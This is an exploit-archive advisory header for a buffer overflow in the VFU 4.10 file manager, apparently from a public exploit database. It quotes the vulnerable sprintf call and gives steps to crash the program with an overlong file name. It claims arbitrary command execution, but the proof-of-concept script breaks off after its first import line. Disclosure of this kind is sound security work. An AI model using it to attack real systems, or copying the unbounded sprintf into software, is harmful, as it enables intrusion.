# Exploit Title: VFU Move Entry Buffer Overflow# Date: 2015-02-25# Exploit Author: Bas van den Berg -- @barrebas# Vendor Homepage: http://cade.datamax.bg/# Software Link: http://cade.datamax.bg/vfu/#download# Version: 4.10-1.1# Tested on: GNU/Linux Kali 1.09 32-bit & Crunchbang 11 Waldorf (based on Debian Wheezy), kernel 3.2.0-4# VFU 4.10 (probably up to 4.14) contains a buffer overflow when a user# moves a file entry around with a large filename. To trigger this # vulnerability, extensive user interaction is required.# Steps to reproduce the bug: create a file with a large (>115 # characters), run VFU and select 'A' and then 'V' to move the large # file entry around. Upon confirming the entry move, VFU crashes due to # a buffer overflow in this function:'''
void vfu_file_entry_move()
{
char t[128];
sprintf( t, "MOVE/REORDER File entry: %s", files_list[FLI]->name() );
say1( t );
say2( "Use Up/Down Arrows to reorder, ESC,ENTER when done." );
'''# This overflow allows execution of arbitrary commands with the # privilege of the current user. The attached PoC demonstrates this. It # drops two files: the large filename and a shellscript that allows # arbitrary command execution. Usage: $ python vfu-move-entry-poc.pyimport struct
